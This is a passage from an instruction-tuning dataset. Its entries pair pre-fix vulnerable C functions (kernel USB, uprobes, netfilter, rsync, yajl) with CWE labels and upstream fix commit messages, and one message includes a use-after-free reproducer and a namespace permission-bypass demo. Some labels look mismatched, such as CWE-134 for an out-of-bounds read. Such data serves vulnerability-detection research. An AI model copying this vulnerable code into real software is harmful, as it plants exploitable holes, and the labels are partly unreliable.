*)buf;\n\n\t\tif (union_desc->bDescriptorType == USB_DT_CS_INTERFACE &&\n\t\t union_desc->bDescriptorSubType == USB_CDC_UNION_TYPE) {\n\t\t\tdev_dbg(&intf->dev, \"Found union header\\n\");\n\t\t\treturn union_desc;\n\t\t}\n\n\t\tbuflen -= union_desc->bLength;\n\t\tbuf += union_desc->bLength;\n\t}\n\n\tdev_err(&intf->dev, \"Missing CDC union descriptor\\n\");\n\treturn NULL; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Input: ims-psu - check if CDC union descriptor is sane\n\nBefore trying to use CDC union descriptor, try to validate whether that it\nis sane by checking that intf->altsetting->extra is big enough and that\ndescriptor bLength is not too big and not too small.\n\nReported-by: Andrey Konovalov \nSigned-off-by: Dmitry Torokhov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void uprobe_dup_mmap(struct mm_struct *oldmm, struct mm_struct *newmm)\n{\n\tnewmm->uprobes_state.xol_area = NULL;\n\n\tif (test_bit(MMF_HAS_UPROBES, &oldmm->flags)) {\n\t\tset_bit(MMF_HAS_UPROBES, &newmm->flags);\n\t\t/* unconditionally, dup_mmap() skips VM_DONTCOPY vmas */\n\t\tset_bit(MMF_RECALC_UPROBES, &newmm->flags);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'mm, uprobes: fix multiple free of ->uprobes_state.xol_area\n\nCommit 7c051267931a (\"mm, fork: make dup_mmap wait for mmap_sem for\nwrite killable\") made it possible to kill a forking task while it is\nwaiting to acquire its ->mmap_sem for write, in dup_mmap().\n\nHowever, it was overlooked that this introduced an new error path before\nthe new mm_struct's ->uprobes_state.xol_area has been set to NULL after\nbeing copied from the old mm_struct by the memcpy in dup_mm(). For a\ntask that has previously hit a uprobe tracepoint, this resulted in the\n'struct xol_area' being freed multiple times if the task was killed at\njust the right time while forking.\n\nFix it by setting ->uprobes_state.xol_area to NULL in mm_init() rather\nthan in uprobe_dup_mmap().\n\nWith CONFIG_UPROBE_EVENTS=y, the bug can be reproduced by the same C\nprogram given by commit 2b7e8665b4ff (\"fork: fix incorrect fput of\n->exe_file causing use-after-free\"), provided that a uprobe tracepoint\nhas been set on the fork_thread() function. For example:\n\n $ gcc reproducer.c -o reproducer -lpthread\n $ nm reproducer | grep fork_thread\n 0000000000400719 t fork_thread\n $ echo \"p $PWD/reproducer:0x719\" > /sys/kernel/debug/tracing/uprobe_events\n $ echo 1 > /sys/kernel/debug/tracing/events/uprobes/enable\n $ ./reproducer\n\nHere is the use-after-free reported by KASAN:\n\n BUG: KASAN: use-after-free in uprobe_clear_state+0x1c4/0x200\n Read of size 8 at addr ffff8800320a8b88 by task reproducer/198\n\n CPU: 1 PID: 198 Comm: reproducer Not tainted 4.13.0-rc7-00015-g36fde05f3fb5 #255\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-20170228_101828-anatol 04/01/2014\n Call Trace:\n dump_stack+0xdb/0x185\n print_address_description+0x7e/0x290\n kasan_report+0x23b/0x350\n __asan_report_load8_noabort+0x19/0x20\n uprobe_clear_state+0x1c4/0x200\n mmput+0xd6/0x360\n do_exit+0x740/0x1670\n do_group_exit+0x13f/0x380\n get_signal+0x597/0x17d0\n do_signal+0x99/0x1df0\n exit_to_usermode_loop+0x166/0x1e0\n syscall_return_slowpath+0x258/0x2c0\n entry_SYSCALL_64_fastpath+0xbc/0xbe\n\n ...\n\n Allocated by task 199:\n save_stack_trace+0x1b/0x20\n kasan_kmalloc+0xfc/0x180\n kmem_cache_alloc_trace+0xf3/0x330\n __create_xol_area+0x10f/0x780\n uprobe_notify_resume+0x1674/0x2210\n exit_to_usermode_loop+0x150/0x1e0\n prepare_exit_to_usermode+0x14b/0x180\n retint_user+0x8/0x20\n\n Freed by task 199:\n save_stack_trace+0x1b/0x20\n kasan_slab_free+0xa8/0x1a0\n kfree+0xba/0x210\n uprobe_clear_state+0x151/0x200\n mmput+0xd6/0x360\n copy_process.part.8+0x605f/0x65d0\n _do_fork+0x1a5/0xbd0\n SyS_clone+0x19/0x20\n do_syscall_64+0x22f/0x660\n return_from_SYSCALL_64+0x0/0x7a\n\nNote: without KASAN, you may instead see a \"Bad page state\" message, or\nsimply a general protection fault.\n\nLink: http://lkml.kernel.org/r/20170830033303.17927-1-ebiggers3@gmail.com\nFixes: 7c051267931a (\"mm, fork: make dup_mmap wait for mmap_sem for write killable\")\nSigned-off-by: Eric Biggers \nReported-by: Oleg Nesterov \nAcked-by: Oleg Nesterov \nCc: Alexander Shishkin \nCc: Arnaldo Carvalho de Melo \nCc: Dmitry Vyukov \nCc: Ingo Molnar \nCc: Konstantin Khlebnikov \nCc: Mark Rutland \nCc: Michal Hocko \nCc: Peter Zijlstra \nCc: Vlastimil Babka \nCc: [4.7+]\nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int recv_files(int f_in, int f_out, char *local_name)\n{\n\tint fd1,fd2;\n\tSTRUCT_STAT st;\n\tint iflags, xlen;\n\tchar *fname, fbuf[MAXPATHLEN];\n\tchar xname[MAXPATHLEN];\n\tchar fnametmp[MAXPATHLEN];\n\tchar *fnamecmp, *partialptr;\n\tchar fnamecmpbuf[MAXPATHLEN];\n\tuchar fnamecmp_type;\n\tstruct file_struct *file;\n\tint itemizing = am_server ? logfile_format_has_i : stdout_format_has_i;\n\tenum logcode log_code = log_before_transfer ? FLOG : FINFO;\n\tint max_phase = protocol_version >= 29 ? 2 : 1;\n\tint dflt_perms = (ACCESSPERMS & ~orig_umask);\n#ifdef SUPPORT_ACLS\n\tconst char *parent_dirname = \"\";\n#endif\n\tint ndx, recv_ok;\n\n\tif (DEBUG_GTE(RECV, 1))\n\t\trprintf(FINFO, \"recv_files(%d) starting\\n\", cur_flist->used);\n\n\tif (delay_updates)\n\t\tdelayed_bits = bitbag_create(cur_flist->used + 1);\n\n\twhile (1) {\n\t\tcleanup_disable();\n\n\t\t/* This call also sets cur_flist. */\n\t\tndx = read_ndx_and_attrs(f_in, f_out, &iflags, &fnamecmp_type,\n\t\t\t\t\t xname, &xlen);\n\t\tif (ndx == NDX_DONE) {\n\t\t\tif (!am_server && INFO_GTE(PROGRESS, 2) && cur_flist) {\n\t\t\t\tset_current_file_index(NULL, 0);\n\t\t\t\tend_progress(0);\n\t\t\t}\n\t\t\tif (inc_recurse && first_flist) {\n\t\t\t\tif (read_batch) {\n\t\t\t\t\tndx = first_flist->used + first_flist->ndx_start;\n\t\t\t\t\tgen_wants_ndx(ndx, first_flist->flist_num);\n\t\t\t\t}\n\t\t\t\tflist_free(first_flist);\n\t\t\t\tif (first_flist)\n\t\t\t\t\tcontinue;\n\t\t\t} else if (read_batch && first_flist) {\n\t\t\t\tndx = first_flist->used;\n\t\t\t\tgen_wants_ndx(ndx, first_flist->flist_num);\n\t\t\t}\n\t\t\tif (++phase > max_phase)\n\t\t\t\tbreak;\n\t\t\tif (DEBUG_GTE(RECV, 1))\n\t\t\t\trprintf(FINFO, \"recv_files phase=%d\\n\", phase);\n\t\t\tif (phase == 2 && delay_updates)\n\t\t\t\thandle_delayed_updates(local_name);\n\t\t\twrite_int(f_out, NDX_DONE);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (ndx - cur_flist->ndx_start >= 0)\n\t\t\tfile = cur_flist->files[ndx - cur_flist->ndx_start];\n\t\telse\n\t\t\tfile = dir_flist->files[cur_flist->parent_ndx];\n\t\tfname = local_name ? local_name : f_name(file, fbuf);\n\n\t\tif (DEBUG_GTE(RECV, 1))\n\t\t\trprintf(FINFO, \"recv_files(%s)\\n\", fname);\n\n#ifdef SUPPORT_XATTRS\n\t\tif (preserve_xattrs && iflags & ITEM_REPORT_XATTR && do_xfers\n\t\t && !(want_xattr_optim && BITS_SET(iflags, ITEM_XNAME_FOLLOWS|ITEM_LOCAL_CHANGE)))\n\t\t\trecv_xattr_request(file, f_in);\n#endif\n\n\t\tif (!(iflags & ITEM_TRANSFER)) {\n\t\t\tmaybe_log_item(file, iflags, itemizing, xname);\n#ifdef SUPPORT_XATTRS\n\t\t\tif (preserve_xattrs && iflags & ITEM_REPORT_XATTR && do_xfers\n\t\t\t && !BITS_SET(iflags, ITEM_XNAME_FOLLOWS|ITEM_LOCAL_CHANGE))\n\t\t\t\tset_file_attrs(fname, file, NULL, fname, 0);\n#endif\n\t\t\tif (iflags & ITEM_IS_NEW) {\n\t\t\t\tstats.created_files++;\n\t\t\t\tif (S_ISREG(file->mode)) {\n\t\t\t\t\t/* Nothing further to count. */\n\t\t\t\t} else if (S_ISDIR(file->mode))\n\t\t\t\t\tstats.created_dirs++;\n#ifdef SUPPORT_LINKS\n\t\t\t\telse if (S_ISLNK(file->mode))\n\t\t\t\t\tstats.created_symlinks++;\n#endif\n\t\t\t\telse if (IS_DEVICE(file->mode))\n\t\t\t\t\tstats.created_devices++;\n\t\t\t\telse\n\t\t\t\t\tstats.created_specials++;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tif (phase == 2) {\n\t\t\trprintf(FERROR,\n\t\t\t\t\"got transfer request in phase 2 [%s]\\n\",\n\t\t\t\twho_am_i());\n\t\t\texit_cleanup(RERR_PROTOCOL);\n\t\t}\n\n\t\tif (file->flags & FLAG_FILE_SENT) {\n\t\t\tif (csum_length == SHORT_SUM_LENGTH) {\n\t\t\t\tif (keep_partial && !partial_dir)\n\t\t\t\t\tmake_backups = -make_backups; /* prevents double backup */\n\t\t\t\tif (append_mode)\n\t\t\t\t\tsparse_files = -sparse_files;\n\t\t\t\tappend_mode = -append_mode;\n\t\t\t\tcsum_length = SUM_LENGTH;\n\t\t\t\tredoing = 1;\n\t\t\t}\n\t\t} else {\n\t\t\tif (csum_length != SHORT_SUM_LENGTH) {\n\t\t\t\tif (keep_partial && !partial_dir)\n\t\t\t\t\tmake_backups = -make_backups;\n\t\t\t\tif (append_mode)\n\t\t\t\t\tsparse_files = -sparse_files;\n\t\t\t\tappend_mode = -append_mode;\n\t\t\t\tcsum_length = SHORT_SUM_LENGTH;\n\t\t\t\tredoing = 0;\n\t\t\t}\n\t\t\tif (iflags & ITEM_IS_NEW)\n\t\t\t\tstats.created_files++;\n\t\t}\n\n\t\tif (!am_server && INFO_GTE(PROGRESS, 1))\n\t\t\tset_current_file_index(file, ndx);\n\t\tstats.xferred_files++;\n\t\tstats.total_transferred_size += F_LENGTH(file);\n\n\t\tcleanup_got_literal = 0;\n\n\t\tif (daemon_filter_list.head\n\t\t && check_filter(&daemon_filter_list, FLOG, fname, 0) < 0) {\n\t\t\trprintf(FERROR, \"attempt to hack rsync failed.\\n\");\n\t\t\texit_cleanup(RERR_PROTOCOL);\n\t\t}\n\n\t\tif (read_batch) {\n\t\t\tint wanted = redoing\n\t\t\t\t ? we_want_redo(ndx)\n\t\t\t\t : gen_wants_ndx(ndx, cur_flist->flist_num);\n\t\t\tif (!wanted) {\n\t\t\t\trprintf(FINFO,\n\t\t\t\t\t\"(Skipping batched update for%s \\\"%s\\\")\\n\",\n\t\t\t\t\tredoing ? \" resend of\" : \"\",\n\t\t\t\t\tfname);\n\t\t\t\tdiscard_receive_data(f_in, F_LENGTH(file));\n\t\t\t\tfile->flags |= FLAG_FILE_SENT;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\tremember_initial_stats();\n\n\t\tif (!do_xfers) { /* log the transfer */\n\t\t\tlog_item(FCLIENT, file, iflags, NULL);\n\t\t\tif (read_batch)\n\t\t\t\tdiscard_receive_data(f_in, F_LENGTH(file));\n\t\t\tcontinue;\n\t\t}\n\t\tif (write_batch < 0) {\n\t\t\tlog_item(FCLIENT, file, iflags, NULL);\n\t\t\tif (!am_server)\n\t\t\t\tdiscard_receive_data(f_in, F_LENGTH(file));\n\t\t\tif (inc_recurse)\n\t\t\t\tsend_msg_int(MSG_SUCCESS, ndx);\n\t\t\tcontinue;\n\t\t}\n\n\t\tpartialptr = partial_dir ? partial_dir_fname(fname) : fname;\n\n\t\tif (protocol_version >= 29) {\n\t\t\tswitch (fnamecmp_type) {\n\t\t\tcase FNAMECMP_FNAME:\n\t\t\t\tfnamecmp = fname;\n\t\t\t\tbreak;\n\t\t\tcase FNAMECMP_PARTIAL_DIR:\n\t\t\t\tfnamecmp = partialptr;\n\t\t\t\tbreak;\n\t\t\tcase FNAMECMP_BACKUP:\n\t\t\t\tfnamecmp = get_backup_name(fname);\n\t\t\t\tbreak;\n\t\t\tcase FNAMECMP_FUZZY:\n\t\t\t\tif (file->dirname) {\n\t\t\t\t\tpathjoin(fnamecmpbuf, sizeof fnamecmpbuf, file->dirname, xname);\n\t\t\t\t\tfnamecmp = fnamecmpbuf;\n\t\t\t\t} else\n\t\t\t\t\tfnamecmp = xname;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tif (fnamecmp_type > FNAMECMP_FUZZY && fnamecmp_type-FNAMECMP_FUZZY <= basis_dir_cnt) {\n\t\t\t\t\tfnamecmp_type -= FNAMECMP_FUZZY + 1;\n\t\t\t\t\tif (file->dirname) {\n\t\t\t\t\t\tstringjoin(fnamecmpbuf, sizeof fnamecmpbuf,\n\t\t\t\t\t\t\t basis_dir[fnamecmp_type], \"/\", file->dirname, \"/\", xname, NULL);\n\t\t\t\t\t} else\n\t\t\t\t\t\tpathjoin(fnamecmpbuf, sizeof fnamecmpbuf, basis_dir[fnamecmp_type], xname);\n\t\t\t\t} else if (fnamecmp_type >= basis_dir_cnt) {\n\t\t\t\t\trprintf(FERROR,\n\t\t\t\t\t\t\"invalid basis_dir index: %d.\\n\",\n\t\t\t\t\t\tfnamecmp_type);\n\t\t\t\t\texit_cleanup(RERR_PROTOCOL);\n\t\t\t\t} else\n\t\t\t\t\tpathjoin(fnamecmpbuf, sizeof fnamecmpbuf, basis_dir[fnamecmp_type], fname);\n\t\t\t\tfnamecmp = fnamecmpbuf;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (!fnamecmp || (daemon_filter_list.head\n\t\t\t && check_filter(&daemon_filter_list, FLOG, fname, 0) < 0)) {\n\t\t\t\tfnamecmp = fname;\n\t\t\t\tfnamecmp_type = FNAMECMP_FNAME;\n\t\t\t}\n\t\t} else {\n\t\t\t/* Reminder: --inplace && --partial-dir are never\n\t\t\t * enabled at the same time. */\n\t\t\tif (inplace && make_backups > 0) {\n\t\t\t\tif (!(fnamecmp = get_backup_name(fname)))\n\t\t\t\t\tfnamecmp = fname;\n\t\t\t\telse\n\t\t\t\t\tfnamecmp_type = FNAMECMP_BACKUP;\n\t\t\t} else if (partial_dir && partialptr)\n\t\t\t\tfnamecmp = partialptr;\n\t\t\telse\n\t\t\t\tfnamecmp = fname;\n\t\t}\n\n\t\t/* open the file */\n\t\tfd1 = do_open(fnamecmp, O_RDONLY, 0);\n\n\t\tif (fd1 == -1 && protocol_version < 29) {\n\t\t\tif (fnamecmp != fname) {\n\t\t\t\tfnamecmp = fname;\n\t\t\t\tfd1 = do_open(fnamecmp, O_RDONLY, 0);\n\t\t\t}\n\n\t\t\tif (fd1 == -1 && basis_dir[0]) {\n\t\t\t\t/* pre-29 allowed only one alternate basis */\n\t\t\t\tpathjoin(fnamecmpbuf, sizeof fnamecmpbuf,\n\t\t\t\t\t basis_dir[0], fname);\n\t\t\t\tfnamecmp = fnamecmpbuf;\n\t\t\t\tfd1 = do_open(fnamecmp, O_RDONLY, 0);\n\t\t\t}\n\t\t}\n\n\t\tupdating_basis_or_equiv = inplace\n\t\t && (fnamecmp == fname || fnamecmp_type == FNAMECMP_BACKUP);\n\n\t\tif (fd1 == -1) {\n\t\t\tst.st_mode = 0;\n\t\t\tst.st_size = 0;\n\t\t} else if (do_fstat(fd1,&st) != 0) {\n\t\t\trsyserr(FERROR_XFER, errno, \"fstat %s failed\",\n\t\t\t\tfull_fname(fnamecmp));\n\t\t\tdiscard_receive_data(f_in, F_LENGTH(file));\n\t\t\tclose(fd1);\n\t\t\tif (inc_recurse)\n\t\t\t\tsend_msg_int(MSG_NO_SEND, ndx);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (fd1 != -1 && S_ISDIR(st.st_mode) && fnamecmp == fname) {\n\t\t\t/* this special handling for directories\n\t\t\t * wouldn't be necessary if robust_rename()\n\t\t\t * and the underlying robust_unlink could cope\n\t\t\t * with directories\n\t\t\t */\n\t\t\trprintf(FERROR_XFER, \"recv_files: %s is a directory\\n\",\n\t\t\t\tfull_fname(fnamecmp));\n\t\t\tdiscard_receive_data(f_in, F_LENGTH(file));\n\t\t\tclose(fd1);\n\t\t\tif (inc_recurse)\n\t\t\t\tsend_msg_int(MSG_NO_SEND, ndx);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (fd1 != -1 && !S_ISREG(st.st_mode)) {\n\t\t\tclose(fd1);\n\t\t\tfd1 = -1;\n\t\t}\n\n\t\t/* If we're not preserving permissions, change the file-list's\n\t\t * mode based on the local permissions and some heuristics. */\n\t\tif (!preserve_perms) {\n\t\t\tint exists = fd1 != -1;\n#ifdef SUPPORT_ACLS\n\t\t\tconst char *dn = file->dirname ? file->dirname : \".\";\n\t\t\tif (parent_dirname != dn\n\t\t\t && strcmp(parent_dirname, dn) != 0) {\n\t\t\t\tdflt_perms = default_perms_for_dir(dn);\n\t\t\t\tparent_dirname = dn;\n\t\t\t}\n#endif\n\t\t\tfile->mode = dest_mode(file->mode, st.st_mode,\n\t\t\t\t\t dflt_perms, exists);\n\t\t}\n\n\t\t/* We now check to see if we are writing the file \"inplace\" */\n\t\tif (inplace) {\n\t\t\tfd2 = do_open(fname, O_WRONLY|O_CREAT, 0600);\n\t\t\tif (fd2 == -1) {\n\t\t\t\trsyserr(FERROR_XFER, errno, \"open %s failed\",\n\t\t\t\t\tfull_fname(fname));\n\t\t\t} else if (updating_basis_or_equiv)\n\t\t\t\tcleanup_set(NULL, NULL, file, fd1, fd2);\n\t\t} else {\n\t\t\tfd2 = open_tmpfile(fnametmp, fname, file);\n\t\t\tif (fd2 != -1)\n\t\t\t\tcleanup_set(fnametmp, partialptr, file, fd1, fd2);\n\t\t}\n\n\t\tif (fd2 == -1) {\n\t\t\tdiscard_receive_data(f_in, F_LENGTH(file));\n\t\t\tif (fd1 != -1)\n\t\t\t\tclose(fd1);\n\t\t\tif (inc_recurse)\n\t\t\t\tsend_msg_int(MSG_NO_SEND, ndx);\n\t\t\tcontinue;\n\t\t}\n\n\t\t/* log the transfer */\n\t\tif (log_before_transfer)\n\t\t\tlog_item(FCLIENT, file, iflags, NULL);\n\t\telse if (!am_server && INFO_GTE(NAME, 1) && INFO_EQ(PROGRESS, 1))\n\t\t\trprintf(FINFO, \"%s\\n\", fname);\n\n\t\t/* recv file data */\n\t\trecv_ok = receive_data(f_in, fnamecmp, fd1, st.st_size,\n\t\t\t\t fname, fd2, F_LENGTH(file));\n\n\t\tlog_item(log_code, file, iflags, NULL);\n\n\t\tif (fd1 != -1)\n\t\t\tclose(fd1);\n\t\tif (close(fd2) < 0) {\n\t\t\trsyserr(FERROR, errno, \"close failed on %s\",\n\t\t\t\tfull_fname(fnametmp));\n\t\t\texit_cleanup(RERR_FILEIO);\n\t\t}\n\n\t\tif ((recv_ok && (!delay_updates || !partialptr)) || inplace) {\n\t\t\tif (partialptr == fname)\n\t\t\t\tpartialptr = NULL;\n\t\t\tif (!finish_transfer(fname, fnametmp, fnamecmp,\n\t\t\t\t\t partialptr, file, recv_ok, 1))\n\t\t\t\trecv_ok = -1;\n\t\t\telse if (fnamecmp == partialptr) {\n\t\t\t\tdo_unlink(partialptr);\n\t\t\t\thandle_partial_dir(partialptr, PDIR_DELETE);\n\t\t\t}\n\t\t} else if (keep_partial && partialptr) {\n\t\t\tif (!handle_partial_dir(partialptr, PDIR_CREATE)) {\n\t\t\t\trprintf(FERROR,\n\t\t\t\t \"Unable to create partial-dir for %s -- discarding %s.\\n\",\n\t\t\t\t local_name ? local_name : f_name(file, NULL),\n\t\t\t\t recv_ok ? \"completed file\" : \"partial file\");\n\t\t\t\tdo_unlink(fnametmp);\n\t\t\t\trecv_ok = -1;\n\t\t\t} else if (!finish_transfer(partialptr, fnametmp, fnamecmp, NULL,\n\t\t\t\t\t\t file, recv_ok, !partial_dir))\n\t\t\t\trecv_ok = -1;\n\t\t\telse if (delay_updates && recv_ok) {\n\t\t\t\tbitbag_set_bit(delayed_bits, ndx);\n\t\t\t\trecv_ok = 2;\n\t\t\t} else\n\t\t\t\tpartialptr = NULL;\n\t\t} else\n\t\t\tdo_unlink(fnametmp);\n\n\t\tcleanup_disable();\n\n\t\tif (read_batch)\n\t\t\tfile->flags |= FLAG_FILE_SENT;\n\n\t\tswitch (recv_ok) {\n\t\tcase 2:\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tif (remove_source_files || inc_recurse\n\t\t\t || (preserve_hard_links && F_IS_HLINKED(file)))\n\t\t\t\tsend_msg_int(MSG_SUCCESS, ndx);\n\t\t\tbreak;\n\t\tcase 0: {\n\t\t\tenum logcode msgtype = redoing ? FERROR_XFER : FWARNING;\n\t\t\tif (msgtype == FERROR_XFER || INFO_GTE(NAME, 1)) {\n\t\t\t\tchar *errstr, *redostr, *keptstr;\n\t\t\t\tif (!(keep_partial && partialptr) && !inplace)\n\t\t\t\t\tkeptstr = \"discarded\";\n\t\t\t\telse if (partial_dir)\n\t\t\t\t\tkeptstr = \"put into partial-dir\";\n\t\t\t\telse\n\t\t\t\t\tkeptstr = \"retained\";\n\t\t\t\tif (msgtype == FERROR_XFER) {\n\t\t\t\t\terrstr = \"ERROR\";\n\t\t\t\t\tredostr = \"\";\n\t\t\t\t} else {\n\t\t\t\t\terrstr = \"WARNING\";\n\t\t\t\t\tredostr = read_batch ? \" (may try again)\"\n\t\t\t\t\t\t\t : \" (will try again)\";\n\t\t\t\t}\n\t\t\t\trprintf(msgtype,\n\t\t\t\t\t\"%s: %s failed verification -- update %s%s.\\n\",\n\t\t\t\t\terrstr, local_name ? f_name(file, NULL) : fname,\n\t\t\t\t\tkeptstr, redostr);\n\t\t\t}\n\t\t\tif (!redoing) {\n\t\t\t\tif (read_batch)\n\t\t\t\t\tflist_ndx_push(&batch_redo_list, ndx);\n\t\t\t\tsend_msg_int(MSG_REDO, ndx);\n\t\t\t\tfile->flags |= FLAG_FILE_SENT;\n\t\t\t} else if (inc_recurse)\n\t\t\t\tsend_msg_int(MSG_NO_SEND, ndx);\n\t\t\tbreak;\n\t\t }\n\t\tcase -1:\n\t\t\tif (inc_recurse)\n\t\t\t\tsend_msg_int(MSG_NO_SEND, ndx);\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (make_backups < 0)\n\t\tmake_backups = -make_backups;\n\n\tif (phase == 2 && delay_updates) /* for protocol_version < 29 */\n\t\thandle_delayed_updates(local_name);\n\n\tif (DEBUG_GTE(RECV, 1))\n\t\trprintf(FINFO,\"recv_files finished\\n\");\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-862'], 'message': 'Check fname in recv_files sooner.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void yajl_string_decode(yajl_buf buf, const unsigned char * str,\n unsigned int len)\n{\n unsigned int beg = 0;\n unsigned int end = 0; \n\n while (end < len) {\n if (str[end] == '\\\\') {\n char utf8Buf[5];\n const char * unescaped = \"?\";\n yajl_buf_append(buf, str + beg, end - beg);\n switch (str[++end]) {\n case 'r': unescaped = \"\\r\"; break;\n case 'n': unescaped = \"\\n\"; break;\n case '\\\\': unescaped = \"\\\\\"; break;\n case '/': unescaped = \"/\"; break;\n case '\"': unescaped = \"\\\"\"; break;\n case 'f': unescaped = \"\\f\"; break;\n case 'b': unescaped = \"\\b\"; break;\n case 't': unescaped = \"\\t\"; break;\n case 'u': {\n unsigned int codepoint = 0;\n hexToDigit(&codepoint, str + ++end);\n end+=3;\n /* check if this is a surrogate */\n if ((codepoint & 0xFC00) == 0xD800) {\n end++;\n if (str[end] == '\\\\' && str[end + 1] == 'u') {\n unsigned int surrogate = 0;\n hexToDigit(&surrogate, str + end + 2);\n codepoint =\n (((codepoint & 0x3F) << 10) | \n ((((codepoint >> 6) & 0xF) + 1) << 16) | \n (surrogate & 0x3FF));\n end += 5;\n } else {\n unescaped = \"?\";\n break;\n }\n }\n \n Utf32toUtf8(codepoint, utf8Buf);\n unescaped = utf8Buf;\n\n if (codepoint == 0) {\n yajl_buf_append(buf, unescaped, 1);\n beg = ++end;\n continue;\n }\n\n break;\n }\n default:\n assert(\"this should never happen\" == NULL);\n }\n yajl_buf_append(buf, unescaped, (unsigned int)strlen(unescaped));\n beg = ++end;\n } else {\n end++;\n }\n }\n yajl_buf_append(buf, str + beg, end - beg);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-134'], 'message': 'Don't advance our end pointer until we've checked we have enough\nbuffer left and have peeked ahead to see that a unicode escape\nis approaching.\n\nThanks @kivikakk for helping me track down the actual bug here!'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int nfnl_cthelper_get(struct net *net, struct sock *nfnl,\n\t\t\t struct sk_buff *skb, const struct nlmsghdr *nlh,\n\t\t\t const struct nlattr * const tb[],\n\t\t\t struct netlink_ext_ack *extack)\n{\n\tint ret = -ENOENT;\n\tstruct nf_conntrack_helper *cur;\n\tstruct sk_buff *skb2;\n\tchar *helper_name = NULL;\n\tstruct nf_conntrack_tuple tuple;\n\tstruct nfnl_cthelper *nlcth;\n\tbool tuple_set = false;\n\n\tif (nlh->nlmsg_flags & NLM_F_DUMP) {\n\t\tstruct netlink_dump_control c = {\n\t\t\t.dump = nfnl_cthelper_dump_table,\n\t\t};\n\t\treturn netlink_dump_start(nfnl, skb, nlh, &c);\n\t}\n\n\tif (tb[NFCTH_NAME])\n\t\thelper_name = nla_data(tb[NFCTH_NAME]);\n\n\tif (tb[NFCTH_TUPLE]) {\n\t\tret = nfnl_cthelper_parse_tuple(&tuple, tb[NFCTH_TUPLE]);\n\t\tif (ret < 0)\n\t\t\treturn ret;\n\n\t\ttuple_set = true;\n\t}\n\n\tlist_for_each_entry(nlcth, &nfnl_cthelper_list, list) {\n\t\tcur = &nlcth->helper;\n\t\tif (helper_name &&\n\t\t strncmp(cur->name, helper_name, NF_CT_HELPER_NAME_LEN))\n\t\t\tcontinue;\n\n\t\tif (tuple_set &&\n\t\t (tuple.src.l3num != cur->tuple.src.l3num ||\n\t\t tuple.dst.protonum != cur->tuple.dst.protonum))\n\t\t\tcontinue;\n\n\t\tskb2 = nlmsg_new(NLMSG_DEFAULT_SIZE, GFP_KERNEL);\n\t\tif (skb2 == NULL) {\n\t\t\tret = -ENOMEM;\n\t\t\tbreak;\n\t\t}\n\n\t\tret = nfnl_cthelper_fill_info(skb2, NETLINK_CB(skb).portid,\n\t\t\t\t\t nlh->nlmsg_seq,\n\t\t\t\t\t NFNL_MSG_TYPE(nlh->nlmsg_type),\n\t\t\t\t\t NFNL_MSG_CTHELPER_NEW, cur);\n\t\tif (ret <= 0) {\n\t\t\tkfree_skb(skb2);\n\t\t\tbreak;\n\t\t}\n\n\t\tret = netlink_unicast(nfnl, skb2, NETLINK_CB(skb).portid,\n\t\t\t\t MSG_DONTWAIT);\n\t\tif (ret > 0)\n\t\t\tret = 0;\n\n\t\t/* this avoids a loop in nfnetlink. */\n\t\treturn ret == -EAGAIN ? -ENOBUFS : ret;\n\t}\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-862'], 'message': 'netfilter: nfnetlink_cthelper: Add missing permission checks\n\nThe capability check in nfnetlink_rcv() verifies that the caller\nhas CAP_NET_ADMIN in the namespace that \"owns\" the netlink socket.\nHowever, nfnl_cthelper_list is shared by all net namespaces on the\nsystem. An unprivileged user can create user and net namespaces\nin which he holds CAP_NET_ADMIN to bypass the netlink_net_capable()\ncheck:\n\n $ nfct helper list\n nfct v1.4.4: netlink error: Operation not permitted\n $ vpnns -- nfct helper list\n {\n .name = ftp,\n .queuenum = 0,\n .l3protonum = 2,\n .l4protonum = 6,\n .priv_data_len = 24,\n .status = enabled,\n };\n\nAdd capable() checks in nfnetlink_cthelper, as this is cleaner than\ntrying to generalize the solution.\n\nSigned-off-by: Kevin Cernekee \nSigned-off-by: Pablo Neira Ayuso '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int __rds_rdma_map(struct rds_sock *rs, struct rds_get_mr_args *args,\n\t\t\t\tu64 *cookie_ret, struct rds_mr **mr_ret)\n{\n\tstruct rds_mr *mr = NULL, *found;\n\tunsigned int nr_pages;\n\tstruct page **pages = NULL;\n\tstruct scatterlist *sg;\n\tvoid *trans_private;\n\tunsigned long flags;\n\trds_rdma_cookie_t cookie;\n\tunsigned int 